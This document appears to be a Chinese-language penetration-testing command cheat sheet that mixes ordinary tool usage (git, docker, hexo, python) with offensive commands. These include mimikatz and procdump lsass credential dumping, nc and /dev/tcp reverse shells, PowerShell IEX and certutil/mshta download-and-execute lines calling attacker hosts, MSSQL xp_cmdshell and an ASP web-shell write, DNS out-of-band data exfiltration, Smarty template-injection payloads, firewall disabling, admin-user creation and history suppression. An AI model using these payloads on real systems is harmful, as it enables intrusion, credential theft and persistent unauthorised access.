在windows中,**-也可写作/**
windows大小写不敏感,linux大小写敏感
工具命令
Bash
作用 | 命令 | 备注 |
---|---|---|
可调用编码后的命令绕过限制 | `bash -c {echo,xx} | {base64,-d} |
Composer
下载方式一:
访问下方链接可下载php安装文件
将php.exe添加至系统环境变量
通过php.exe运行该文件后可下载composer.phar(不推荐)
https://install.phpcomposer.com/installer
下载方式二:
访问下方链接下载composer
将php.exe添加至系统环境变量
通过php.exe composer.phar来执行(推荐)
https://install.phpcomposer.com/composer.phar
作用 | 命令 | 备注 |
---|---|---|
安装thinkphp | composer create-project topthink/think:5.0.22 tp | 安装5.0.22版本,并在生成tp文件夹用于保存thinkphp源码 |
Dirsearch
作用 | 参数 | 示例 | 备注 |
---|---|---|---|
指定URL | -u | -u https://www.baidu.com | |
指定线程,默认30 | -t 数字 | -t 10 | |
指定状态码 | -i 范围A-范围B | -i 200-399 | 匹配200-399之间的状态码 |
指定文件类型 | -e 后缀A,后缀B.. | -e php,html | 匹配文件类型php和html |
Docker
作用 | 参数 | 示例 | 备注 |
---|---|---|---|
更新配置 | systemctl daemon-reload | ||
重启docker | systemctl restart docker | ||
查看镜像信息 | ps -a | docker ps -a | |
根据CONTAINER ID进入镜像 | exec -it 编号 shell路径 | docker exec -it at12 /bin/bash | 进入编号为at12的镜像 编号可以只填写前半部分 |
关闭镜像 | stop 编号 | docker stop 编号 | |
删除镜像 | rm 编号 | docker rm 编号 |
Git
作用 | 参数 | 示例 | 备注 |
---|---|---|---|
将整个项目添加至暂存区 | add . | git add . | |
将文件添加至暂存区 | add 文件名 | git add 文件名 | |
查看本地分支 | branch | git branch | |
查看远程分支 | branch -a | git branch -a | |
切换分支 | check -b 分支名 | ||
查看当前配置 | config –list | git config –list | |
设置用户名 | git config –global user.name ‘用户名’ | ||
设置邮箱 | git config –global user.email ‘邮箱’ | ||
本地初始化仓库 | init | git init | |
将本地仓库与远程仓库关联 | git remote add origin 仓库链接 | ||
将本地项目推送到远程仓库 | git push -u origin master | ||
查看本地仓库状态 | status | git status | |
生成ssh公私钥 | ssh-keygen -t rsa -C 邮箱 |
Hexo
作用 | 参数 | 示例 | 备注 |
---|---|---|---|
初始化 | init | hexo init | |
清除缓存 | clean | hexo clean | |
启用 | s | hexo s | |
生成静态文件并部署到特定仓库 | d | hexo d | |
生成静态文件并部署到特定仓库 | deploy | hexo deploy | |
生成静态文件 | g | hexo | |
生成静态文件 | generage | hexo generage | |
创建md文件 | new post 文件路径 | hexo new post test | 在_post文件夹中创建test.md文件 |
创建md文件 | new post –path “目录/文件名” | hexo new post –path “test/1” | 在_post/test文件夹中创建1.md文件 |
Jhat
OQL命令
1 | select filter(map( |
作用 | 参数 | 示例 |
---|---|---|
读取heapdump | jhat -port 端口 -J-Xmx4G 文件路径 | 访问127.0.0.1:7401输入OQL代码执行 |
Minikaz
获取123.dmp文件的密码
1 | mimikatz.exe log "sekurlsa::minidump 123.dmp" "sekurlsa::logonPasswords full" exit |
Metasploit
作用 | 参数 | 示例 | 备注 |
---|---|---|---|
搜索符合条件的模块 | search 匹配条件 | ||
选择指定模块 | use 模块名 | ||
显示配置项信息 | show options | ||
显示相关模块信息 | info | ||
设置配置项 | set 参数 值 | ||
启用模块 | run | ||
启动渗透模块 | exploit | ||
检测目标是否易受攻击 | check | ||
列出可用会话 | sessions |
Meterpreter
Meterpreter是一种使用内存技术的攻击载荷,可以注入到进程之中
提供了各种可以在目标上执行的功能
作用 | 参数 | 示例 | 备注 |
---|---|---|---|
列出渗透主机的系统信息 | sysinfo | ||
列出渗透主机的网络接口 | ifconfig | ||
列出目标主机ARP缓存地址 | arp | ||
将一个处于激活状态的会话发送到后台 | background | ||
获取目标主机的一个cmdshell | shell | ||
获取当前用户信息 | getuid | ||
提权,获取系统权限 | getsystem | ||
获取Meterpreter会话在目标主机上 注入进程的进程号 |
getpid | ||
列出目标主机上运行的所有进程 | ps |
NC
名称 | 作用 | 参数 | 示例 | 备注 |
---|---|---|---|---|
nc | 详细输出 | -v | ||
nc | 更详细输出 | -vv | ||
nc | 绑定命令行 | -e | ||
nc | 断开后强制保持连接 并继续监听端口 |
-k | ||
nc | 不使用DNS反查IP | -n | ||
nc | 扫描时不发送任何数据包 | -z | ||
nc | 监听端口 | -l 端口 | -l 8888 | 监听8888端口 |
nc | 监听本地端口 | -p 端口 | -p 9999 | 监听9999端口 |
nc | 正向反弹shell | nc -lvvp 端口 -e /bin/bash nc 目标IP 端口 |
Linux受控主机执行 攻击机执行 |
|
nc | 反向反弹shell | nc -lvvp 端口 /bin/bash -i > /dev/tcp/攻击机/端口 0<&1 2>&1 |
攻击机需先监听 Linux受控主机执行 |
Nmap
作用 | 参数 | 示例 | 备注 |
---|---|---|---|
边扫描边输出 | -v | ||
路由跟踪 | -traceroute | ||
设置时间参数 | -T数字 | nmap -T4 目标 | -T0 用于躲避IDS,时间很长 -T1 用于躲避IDS,时间很长 -T2 降低扫描速度,使用更小的带宽和资源对目标扫描 -T3 默认模式 -T4 假设用户具有合适可靠的网络 -T5 假设用户有更好的网络或牺牲准确性对目标扫描 |
版本识别 | -sV | 扫描端口同时检测对应服务版本 | |
UDP扫描 | -sU | 扫描UDP端口 | |
TCP扫描 | -sT | 完成三次握手,只适用于找出TCP和UDP端口 | |
SYN扫描 | -sS | 绕设备 | |
ping扫描 检测存活IP |
-sP 网段 | nmap -sP 192.168.1.0/24 | 检测C段的主机存活 |
ping扫描 | -sn | nmap -sn 10.0.1.0/24 | |
FIN扫描 | -sF | 检测防火墙状态,识别端口状态 | |
检测TLS版本 | --script=ssl-enum-ciphers |
nmap -p 端口 --script=ssl-enum-ciphers 目标 |
通常有TLS的目标都是用的https协议 |
根据端口的服务自动调用脚本 | -sC | ||
禁止ping扫描 | -Pn | 绕设备 | |
指定端口 | -p 端口范围 | nmap -p 1-65535 目标 | 扫描目标的1-65535端口 不指定端口时,为默认的1000个端口!! |
扫描全端口 | -p - | ||
猜测目标系统版本 | -O –osscan-guess | ||
检测目标系统类型 | -O | ||
输出到xml | -oX 名称.xml | ||
输出到文本 | -oS 名称.txt | 将输出写成特殊符号的形式 内容和-oN一样,字体发生变化 |
|
输出到文本 | -oN 名称.txt | ||
输出所有格式到文件 | -oA | xml、.gnmap和.nmap格式 | |
设置发包最大传输单元 | -mtu 大小 | 绕设备 大小必须为8的倍数,且为正数 |
|
扫描文件中的IP | -iL 文件 | ||
综合扫描 | -A | ping扫描1-10000中的1000个端口 操作系统、脚本、路由跟踪、服务探测 |
npm
作用 | 参数 | 备注 |
---|---|---|
安装deploy-git | npm install hexo-deployer-git --save |
|
安装图片插件 | npm install hexo-asset-image --save |
|
安装shuji | npm install --global shuji |
|
安装reverse-sourcemap | npm install reverse-sourcemap --global |
procdump64
dump lsass进程
1 | procdump64.exe -accepteula -ma lsass.exe lsass.dmp |
pyinstaller
python的第三方库
作用 | 参数 | 示例 | 备注 |
---|---|---|---|
隐藏运行窗口 | -W | ||
创建spec文件用于打包项目 | pyi-makespec | pyi-makespec main.py | |
Redis-cli
作用 | 参数 | 示例 | 备注 |
---|---|---|---|
指定端口 | -p 端口 | redis常见端口为6379 | |
指定主机 | -h 目标 | 这里的h是表示的hostname | |
指定密码 | -a 密码 | 估计是p被用掉了,只能用password的第二个字母 |
SQLmap
作用 | 参数 | 示例 | 备注 |
---|---|---|---|
检测get类型漏洞 | -u URL | ||
检测post类型漏洞 | -r 文本路径 | 需要先使用抓包工具,获取请求报文后将内容写入文本,如果需要指定位置检测,可使用* | |
设置自动选择 | –batch | ||
检测数据库类型 | -b | ||
指定参数检测 | -p 参数名 | ||
设置数据库类型 | –dbms 类型 | ||
查询当前库名 | –current-db | ||
检测是否为管理员权限 | –is-dba | ||
设置DNS | –dns-domain | ||
设置随机的user-agent字段 | –random-agent | ||
开启sql命令行 | –os-shell | 需要DBA权限,并且知晓目标的WEB路径 | |
查询库名 | –dbs | ||
根据库名查表名 | -D 库名 –tables | ||
根据库名表名查询字段名 | -D 库名 -T 表名 –columns | ||
根据库名表名字段名查询数据 | -D 库名 -T 表名 -C 字段名 –dump | ||
流量代理 | -proxy=http://IP:端口 | 如果需要将流量转发到burp时,可以使用该参数 |
volatility
以下均为volatility2版本的命令
作用 | 参数 | 示例 | 备注 |
---|---|---|---|
指定内存 | -f | vol2.py -f xxx.raw | |
查询内存信息 | imageinfo | vol2.py -f xxx.raw imageinfo | |
指定系统类型 | –profile | vol2.py -f xxx.raw –profile=Win7SP1x64 | 可通过imageinfo查询可使用的profile值 |
查询用户名 | printkey -K "SAM\Domains\Account\Users\Names" |
vol2.py -f xxx.raw printkey -K “SAM\Domains\Account\Users\Names” | 针对windows |
查询hashdump | hashdump | vol2.py -f xxx.raw –profile=Win7SP1x64 hashdump | |
查询密码 | lsadump | vol2.py -f xxx.raw –profile=Win7SP1x64 lsadump | 通过lsass.exe进程dump密码 |
查询cmd命令情况 | cmdline | vol2.py -f xxx.raw –profile=Win7SP1x64 cmdline | |
查看网络连接 | netscan | vol2.py -f xxx.raw –profile=Win7SP1x64 netscan | |
导出文件 | dumpfiles -Q 虚拟地址 -D 保存位置 | vol2.py -f xxx.raw –profile=Win7SP1x64 -Q 0x000000007f142f20 -D “D:/123” | 可通过filescan查询虚拟地址 |
查询文件信息 | filescan | vol2.py -f xxx.raw –profile=Win7SP1x64 filescan | |
查询缓存注册表 | hivelist | vol2.py -f xxx.raw –profile=Win7SP1x64 hivelist | |
查询进程 | pslist | vol2.py -f xxx.raw –profile=Win7SP1x64 pslist |
xray
作用 | 参数 | 示例 | 备注 |
---|---|---|---|
生成证书 | genca | ||
被动扫描 | webscan –listen 127.0.0.1:端口 –html-output 名称.html | 如果输出的文件已存在,则无法扫描 | |
爬虫模式扫描 | webscan –basic-crawler 目标 –html-output 名称.html | 如果输出的文件已存在,则无法扫描 | |
从url列表中批量扫描 | webscan --uf url.txt --ho result__datetime__.html |
||
从burp导出的文件中扫描 | webscan --bf burp.txt --ho result__datetime__.html |
||
从requests请求包中扫描 | webscan --rr req.txt --ho result__datetime__.html |
数据库命令
Redis
作用 | 参数 | 示例 | 备注 |
---|---|---|---|
打印字符串 | echo ‘内容’ | ||
切换数据库 | select 索引 | ||
显示服务器信息 | info | ||
检测服务是否运行 | ping | ||
关闭连接 | quit | ||
检测密码是否正确 | auth | ||
设置写入目录的路径 | config set dir 目录 | ||
设置写入的文件夹 | config set dbfilename | ||
set 变量 值 | |||
保存 | save |
MSSQL
也称作Microsoft SQL Server
作用 | 命令 | 备注 |
---|---|---|
查询用户Hash | select name,sys.fn_varbintohexstr(password_hash) from sys.sql_logins | |
查询认证方式 | select SERVERPROPERTY(‘IsIntegratedSecurityOnly’) | |
查询目录信息 | execute master..xp_dirtree ‘e:',1,1 | 列出e盘的目录和文件信息 第一个1表示子目录 第二个1表示子目录的文件 |
查询当前是否为管理员 | select is_srvrolemember(‘sysadmin’) | |
查询文件内容 | create table files(line varchar(1024)) bulk insert files from ‘文件路径’ select * from files |
先建表files 将文件内容读入表files 查询files表的所有字段 |
启用xp_cmdshell | EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE; | 调用CreateProcess失败时,表示被拦截 |
xp_cmdshell执行系统命令 | exec master..xp_cmdshell ‘whoami’ | 调用CreateProcess失败时,表示被拦截 |
启用sp_oacreate | EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; |
|
sp_oacreate执行系统命令 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt |
命令无回显 wscript.shell对象 |
sp_oacreate执行系统命令 | declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c whoami >e:\test.txt','c:\windows\system32','','1'; |
命令无回显 Shell.Application对象 |
sp_oacreate执行系统命令 | declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'e:\web\tmp.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("x"))%>' |
命令无回显 scripting.filesystemobject对象 |
判断文件是否存在 | 存储过程 exec master.sys.xp_fileexist '文件路径' |
|
客户端主机名称 | select host_name() |
|
查询用户名 | SELECT user_name() |
|
查询版本信息 | select @@version |
|
查询所有的库名 | select * from sysdatabases; | |
服务端主机名称 | selectch @@servername |
|
查询数据总数 | select a.name,b.rows from sysobjects as a inner join sysindexes as b on a.id = b.id where (a.type=’u’) and (b.indid in (0,1)) order by b.rows desc | |
查询当前数据库中所有表名 | select * from sysobjects where xtype=’U’; | xtype=’U’表示所有用户表 xtype=’S’表示所有系统表 |
查询指定表中的所有字段名 | select name from syscolumns where id=Object_Id(‘表名’); | |
查询指定表中的所有字段名和字段类型 | select sc.name,st.name from syscolumns sc,systypes st where sc.xtype=st.xtype and sc.id in(select id from sysobjects where xtype=’U’ and name=’表名’); | |
服务端主机名称 | select serverproperty('MachineName') |
|
DNS外带执行结果(xp_dirtree存储过程) | DECLARE @host varchar(); SELECT @host=(MSSQL命令)+'.DNS地址'; EXEC('master..xp_dirtree"\\'+@host+'\foobar$"'); |
验证漏洞 |
DNS外带执行结果(xp_dirtree存储过程) | ;declare @q varchar(99);set @q=’\\[DNS子域名].burpcollab’+’orator.net\ogy’; exec master.dbo.xp_dirtree @q; — |
burp client ping检测 将会访问 DNS子域名.burpcollaborator.net |
DNS外带执行结果(xp_dirtree存储过程) | ;declare @q varchar(99);set @q=’\\[DNS子域名]’+(SELECT user_name())+’.burpcollab’+’orator.net\ogy’; exec master.dbo.xp_dirtree @q; — |
burp client ping检测 获取用户名 |
MySQL
作用 | 命令 | 备注 |
---|---|---|
DNS外带执行结果 | select load_file('\\\\MYSQL命令.DNS地址\\aaa') |
|
查看load_file()可以读取的磁盘 | show variables like ‘%secure%’ | 当secure_file_priv为空,就可以读取磁盘的目录 当secure_file_priv为G:\,就可以读取G盘的文件 当secure_file_priv为null,load_file()就不能加载文件 |
查询所有数据库 | show databases; | |
查询所有表 | show tables; | |
统计所有字段个数 | select sum(table_rows) from information_schema.tables | |
查询指定表所有列 | show columns from 表名; | |
查询表内容 | handler 表名 open as a ;handler a read next; |
|
延迟指定秒数 | select sleep(秒) | |
服务端主机名称 | select @@hostname; | |
查询数据库版本 | select @@version; | |
读取文件 | load_file(‘绝对路径’) | |
客户端主机名称和端口 | select * from information_schema.PROCESSLIST; | |
查询指定数据库中所有表名 | select table_name from information_schema.tables where table_schema=’库名’ and table_type=’base table’; | |
查询指定库指定表中的所有字段名 | select column_name from information_schema.columns where table_schema=’库名’ and table_name=’表名’; | |
查询指定库指定表中的所有字段名和字段类型 | select column_name,data_type from information_schema.columns where table_schema=’库名’ and table_name=’表名’; |
Oracle
作用 | 命令 | 备注 |
---|---|---|
DNS外带请求 | SELECT UTL_INADDR.GET_HOST_ADDRESS( (SQL语句) ||’.DNS地址’); | |
UTL_HTTP外带请求 | UTL_HTTP(“http://VPS地址:端口/“ || (SQL语句)) | |
判断是否存在UTL_HTTP | select count(*) from all_objects where object_name=”UTL_HTTP” | |
查询表空间名称,需要一定权限 | select * from v$tablespace; | Oralce没有库名,只有表空间 |
查询当前数据库中所有表名 | select * from user_tables; | |
查询指定表中的所有字段名和字段类型 | select column_name, data_type from user_tab_columns where table_name = ‘表名’; | 表名要全大写 |
查询指定表中的所有字段名 | select column_name from user_tab_columns where table_name = ‘表名’; | 表名的字母要全大写 |
OQL
作用 | 命令 | 备注 |
---|---|---|
查询包含有指定关键字的信息 | select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains(“password”)) | 查询含有password的内容 |
编程语言
Java
作用 | 命令 | 备注 |
---|---|---|
运行jar文件 | java -jar 文件路径 | 运行 |
运行jar文件 分配指定运行内存 |
java -jar -Xms500m -Xmx1g 文件路径 | 分配500m-1g运行内存 |
以bat方式运行jar文件 不显示命令行界面 |
start javaw -jar 文件路径 | |
查询java运行环境版本 | java -version | |
查看JRE安装路径 | java -verbose |
PHP
作用 | 命令 | 备注 |
---|---|---|
启动php服务 | php -S 地址:端口 | |
下载composer | php -r “copy(‘https://install.phpcomposer.com/installer‘, ‘composer-setup.php’);” | |
安装composer | php composer-setup.php | |
删除安装文件 | php -r “unlink(‘composer-setup.php’);” | |
调用composer.phar文件,可写入.bat文件中并添加至环境变量调用 | php “%~dp0composer.phar” %* |
Python
作用 | 命令 | 备注 |
---|---|---|
查看版本 | python –version | |
查看已安装的库 | pip list | 对于一些既安装了python2又安装了python3的主机 大多用pip2或pip3来区别 |
查看python库路径 | os.path | 需要先import os |
在线安装指定第三方库 | pip install 库名 | |
根据requirement文件 安装第三方库 |
pip install -r 文件路径 | |
离线安装第三方库 | python setup.py install | 需要到pypi中下载离线压缩包 |
离线安装第三方库 | pip install xxx.whl | 需要到pypi中下载whl文件 |
python2开启http服务 | python -m SimpleHTTPServer 端口 | |
python3开启http服务 | python -m http.server 端口 |
.NET
作用 | 命令 | 备注 |
---|---|---|
安装FTP组件 | dotnet tool install –global dotnet-serve | |
开启FTP服务 | dotnet serve -p 端口 | |
模板引擎
smarty
作用 | 命令 | 备注 |
---|---|---|
计算 | {7*7} | 得到的结果为7乘7 |
查询smarty版本 | {$smarty.version} | |
执行php代码 | {phpinfo()} | 执行phpinfo() |
执行php代码(后续版本已废弃) | {php}phpinfo();{/php} | 执行phpinfo() |
执行php代码 | {if phpinfo()}{/if} | 执行phpinfo() |
执行php代码,写入文件 | {if file_put_contents(“绝对路径”,”文件内容”)}{/if} | |
获取文件内容 | {self::getStreamVariable(“file:///etc/passwd”)} | 获取/etc/passwd文件内容 |
tornado
作用 | 命令 | 备注 |
---|---|---|
获取cookie_secret | {{escape(handler.settings["cookie"])}} |
|
系统命令
更详细的内容可查看windows官方文档:
https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/windows-commands
ping命令回包TTL值(Time To Live,报文存活时长)为128时,目标多半为windows系统
linux系统TTL值较windows小,基本为100以内
Windows
运行
作用 | 命令 | 备注 |
---|---|---|
控制面板 | control | |
系统信息 | msinfo32 | |
系统配置 | msconfig | 可查自启动项 |
恶意软件删除工具 | mrt | |
远程控制rdp | mstsc | |
近期修改文件 | recent | |
注册表 | regedit | |
打开事件查看器 | eventvwr.msc | |
任务计划程序 | taskschd.msc |
域
作用 | 命令 | 备注 |
---|---|---|
显示当前缓存的 Kerberos 票证列表 | klist | |
查询域内用户列表 | net user /domain | |
查询域管用户 | net group “domain admins” /domain | |
查询域管用户组 | net group “Enterpris admins” /domain | |
判断主域 | net time /domain | 拒绝访问时,存在域,不为域用户 成功执行时,存在域,且为域用户 找不到域时,不存在域 |
查看域的名称 | net config workstation | 若含有“工作站域”则是存在域环境 为WORKGROUP则无域环境 |
查看域的名称 | nslookup -type=srv _ldap._tcp | |
查看域内所有主机 | net view /domain:HACHE | |
获取域密码信息 | net accounts /domain | |
查看域控机器名 | nltest /DCLIST:hacke | |
获取域信任信息 | nltest /domain_trusts |
DOS
作用 | 命令 | 备注 |
---|---|---|
弹出计算器 | calc | |
查看ARP高速缓存 | arp -a | |
输出文件内容 | type 文件名 | |
文件合并 | copy 文件1/b + 文件2/a 文件3 | /b表示文件1为二进制文件 /a表示文件2为ascii码文件 |
文件合并(windows11) | copy 文件1路径 文件2路径 合并后的文件路径 |
|
查看路由表 | route print | |
切换编码 | chcp 数字 | utf-8编码为65001 |
创建文件夹 | md 文件夹 | |
弹出聊天信息 | msg 用户名 “内容” | |
向局域网内其他用户弹出聊天信息 | msg /server 地址 * “内容” | |
查看DNS信息 | nslookup 目标 | 若出现了多个IP 大概率使用了CDN(内容分发网络) |
查看端口外联状态 | netstat | |
查看端口列表 | netstat -ano | |
查看端口对应程序 | netstat -anb | |
显示wifi配置名信息 | netsh wlan show profiles | |
显示wifi密码等配置信息 | netsh wlan show profiles wifi名称 key=clear | |
查看简要ip/mac/网卡信息 | ipconfig | |
查看全部ip/mac/网卡信息 | ipconfig -all | |
检测连接状态 | ping 目标 | 可使用-n设置发包个数,每个包间隔1秒,可通过ping本机地址并添加-n参数分辨windows系统 |
重命名文件 | ren 文件名 新文件名 | |
查看文件hash哈希值 | certutil -hashfile 文件名 | |
删除文件夹 | rd 文件夹 | |
关机 | shutdown -s -t 180 -c “系统关机中” | -t设置延迟时长 |
访问网页 | start www.baidu.com | 调用浏览器访问百度 |
远程访问 | telnet 目标 端口 | 如果端口未开放则会提示失败 端口开放则会进入新的命令行界面 |
查看进程信息 | tasklist | |
查看DLL调用情况 | tasklist /m | |
查看进程提供的服务 | tasklist /svc | |
列出树形文件夹结构 | tree | |
查看本地开启的共享 | net share | |
开启ipc$共享 | net share ipc$ | |
删除ipc$共享 | net share ipc$ /del | |
删除c:共享 | net share c$ /del | |
开启服务 | net start 服务名 | |
关闭服务 | net stop 服务名 | |
关闭防火墙(windows server 2003以前版本) | netsh firewag | |
关闭防火墙(windows server 2003以后版本) | netsh advfirewall set allprofiles state off | |
查看防护墙配置 | netsh firewall show config | |
查看防火墙配置 | netsh advfirewall firewall show rule name=all | |
远程下载 | bitsadmin /transfer n 远程文件URL 保存路径 | |
根据pid进程号关闭进程 | taskkill /pid 进程号 /T | |
结束进程 | taskkill /im 进程名称 /f | |
清空cmd界面信息 | cls | |
查看当前目录下的文件信息 | dir | |
查看当前目录下的所有文件信息 | dir /AH | |
打开当前进程下的文件夹 | explorer %cd% | |
查看系统补丁信息 | systeminfo | |
查看当前终端历史命令 | doskey /history | |
查看主机开机时间 | net statistics workstation | |
查看当前详细权限 | whoami /all | |
查看域内指定用户权限 | net user 用户名 /domain | |
查看用户列表 | net user | |
查看本机共享列表及域共享列表 | net share | |
查看连接会话 | net session | |
查看在线用户 | query user | 缩写quser |
查看本地管理员信息 | net localgroup administrators | |
查看当前权限 | whoami | 非域用户: 主机名\用户名 域内用户: 域名\用户名 |
net远程连接 | net use \\IP地址 密码 /u:用户名 |
|
远程下载 | certutil.exe -urlcache -split -f “远程文件URL” 保存路径 | 若要在下载后执行文件可使用&&文件名.exe |
远程下载 | bitsadmin /transfer n 远程文件URL 保存路径 | |
远程下载 | regsvr32 /s /n /u /i:http://x.x.x.x/r scrobj.dll | |
远程下载 | mshta http://x.x.x.x/test.hta | |
添加用户 | net user 用户名 密码 /add | |
查询计划任务 | schtasks | |
查询计划任务详情 | schtasks /query /fo LIST /v | |
设置文件属性为隐藏 | attrib +H 文件名 | |
ICMP协议探测指定C段存活主机 | for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr “TTL” | |
根据任务名查看计划任务详情 | schtasks /query /v /tn “任务名” /fo list | |
将用户添加为管理员 | net localgroup administrators 用户名 /add | |
根据已知index.html文件名获取绝对路径信息,写入index.html.path.txt文件 | cmd /c “for /f %i in (‘dir /x /s /b index.html’) do (echo%i>%i.path.txt)%26(ipconfig>%i.ipconfig.txt)” | |
执行whoami命令,并将结果发送至dnslog | for /f %i in (‘whoami’) do certutil -urlcache -split -f http://x.x.x.x/%i | |
查找yokan_test.js文件,并将该文件路径发送至dnslog | for /r c:\ %i in (yokan_test.js*) do certutil -urlcache -split -f http://x.x.x.x/%i | |
certutil对文件进行base64解码,输出至另一文件中(后缀可变更) | certutil -decode 源文件路径 解码后的文件路径 | |
Powershell
作用 | 命令 | 备注 |
---|---|---|
远程下载 | powershell -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://x.x.x.x/p‘))” | |
列出计划任务 | Get-ScheduledTask | |
根据文件夹列出计划任务 | Get-ScheduledTask -TaskPath “文件夹” | |
查看powershell版本 | get-host | |
查询父进程PID | get-wmiobject win32_process | select name,processid,parentprocessid,path | |
反弹shell | powershell IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1‘); powercat -c 攻击机IP -p 地址 -e cmd` | |
反弹shell | powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 攻击机IP -port 端口 |
WMIC
作用 | 命令 | 备注 |
---|---|---|
查询本机服务 | wmic service list brief | |
开启3389 | wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call setuserauthenticationrequired 0 | |
查询已打补丁信息 | wmic qfe | |
查询共享列表 | wmic share | |
获取盘符 | wmic logicaldisk where drivetype=3 get deviceid | |
查询父进程PID | wmic process get name,processid,parentprocessid /format:csv | |
获取域内用户详细信息 | wmic useraccount get /all | |
查询杀软 | wmic/namespace:\root\securitycenter2 path antivirusproduct | |
查询杀软 | wmic /Node:localhost /Namespace:\root\SecurityCenter2 Path AntiVirusProduct | |
开启3389 | wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1 |
注册表
作用 | 命令 | 备注 |
---|---|---|
开启3389 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f | |
开启net远程连接 | reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 | |
查看RDP开放的端口 | reg query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber |
返回的值为端口号的十六进制 |
Linux
安装
工具 | 命令 | 备注 |
---|---|---|
screen | yum install epel-release yum install screen |
centos |
匹配
作用 | 命令 | 备注 |
---|---|---|
匹配符合条件的行 | grep 字符串 | |
匹配除指定字符串外的行 | grep -v 字符串 |
进程
作用 | 命令 | 备注 |
---|---|---|
获取进程打开的文件信息 | lsof | |
根据进程号查找进程 | pidof “xxx” | |
显示进程及守护进程信息 | ps ajfx | 从做往右依次为PPID、PID、PGID(组编号)、 SID、TTY、TPGID、STAT(+号表示前台运行)、UID、TIME 、COMMAND |
列出进程信息 | ps aux | |
列出进程信息 | ps -ef | |
根据PID进入其网络命名空间network namespace | nsenter -n -t pid值 |
文件
作用 | 命令 | 备注 |
---|---|---|
查看文件ID详情 | ls -l | |
设置操作命令不记录日志 | set +o history | |
查看文件详情 | ll | |
查看文件详情 | ls -a | –all的缩写,显示所有的文件 可查看隐藏的文件,隐藏文件.号开头 |
查看文件详情 | ls -A | –almost-all缩写 显示所有的文件,包括隐藏文件 但不包括表示当前目录.和上级目录..这两个文件 |
创建文件 | touch 文件名 | 创建的文件是空文件 |
创建文件夹 | mkdir 文件夹 | |
后台运行命令 | nohup 命令 & | |
查询文件创建时间、修改时间、访问时间 | stat 文件名 | |
合并去重文件内容 | `sort 旧文件名 | uniq > 新文件名` |
删除文件 | rm 文件路径 | |
搜索具有suid权限的文件 | find / -perm -u=s -type f 2>/dev/null | / 表示从文件系统的顶部(根)开始并找到每个目录 -u=s 表示查找root用户拥有的文件 -type表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 |
搜索具有suid权限的文件 | find / -perm -g=s -type f 2>/dev/null | -perm 表示搜索随后的权限 2 表示该进程的第二个文件描述符,即stderr(标准错误) > 表示重定向 |
搜索具有suid权限的文件 | find / -user root -perm -4000 -print 2>/dev/null | |
搜索具有suid权限的文件 | find / -user root -perm -4000 -exec ls -ldb {}; | |
根据文件名搜索 | find / -name 文件名 | |
根据文件名和文件修改时间查找 | find / -mtime 时间 -name 文件名 | -mtime -2表示2天以内,-mtime +2 表示2天以前 |
根据文件名和文件访问时间查找 | find / -atime 时间 -name 文件名 | -atime -2表示2天以内,-atime +2 表示2天以前 |
根据文件名和文件创建时间查找 | find / -ctime 时间 -name 文件名 | -ctime -2表示2天以内,-ctime +2 表示2天以前 |
删除文件夹 | rm -rf 文件夹路径 | |
压缩文件为tar.gz | tar -zcvf 文件名.tar.gz 路径 | .tar.gz不能缺省,文件名.tar.gz为压缩后的文件 |
解压缩tar.gz到当前目录 | tar -zxvf 文件名 | |
解压缩tar.gz到指定目录下 | tar -zxvf 文件名 -C 文件夹 | |
使用pyinstaller打包py文件 | python -m PyInstaller [参数] xxx.py |
网络
作用 | 命令 | 备注 |
---|---|---|
针对网卡发起扫描存活主机 | arp-scan -l | |
查看ip信息 | ifconfig | |
打开网卡可视化编辑工具 | nm-connection-editor | |
配置网卡IP | ifconfig 网卡 IP/掩码位数 | |
fpring探测存活 | fping -gaq 网段/24 | |
查看本地开放端口 | netstat -ntpl | |
查看wget后台下载信息 | tail -f wget-log | |
根据网卡抓取流量 | tcpdump -i 网卡 | 若想值查看需要的IP时,可使用dst host 地址 -v进行地址过滤 |
使用正则获取网站中所包含的其他URL | curl http://host.xx/file.js | grep -Eo “(http|https)://[a-zA-Z0-9./?=_-]“ | |
下载文件 | wget URL | |
下载文件,后台运行 | wget -b URL | 可使用tail -f wget-log查看下载情况 |
断点续传 | wget -c URL | |
下载文件,并重命名文件 | wget -o 文件名 URL | |
批量下载文件 | wget -i xxx.txt | |
pip安装docker-compose | sudo apt-get -y install docker-compose | ubuntu系统 |
安装pip | sudo apt-get install python-pip | ubuntu系统 |
权限
作用 | 命令 | 备注 |
---|---|---|
以管理员权限执行命令 | sudo 命令 | 执行后需要输入当前用户密码 |
进入管理员命令行 | sudo -i | 执行后需要输入当前用户密码 |
为docker-compose创建软链接 | sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose |
公私钥
作用 | 命令 | 备注 |
---|---|---|
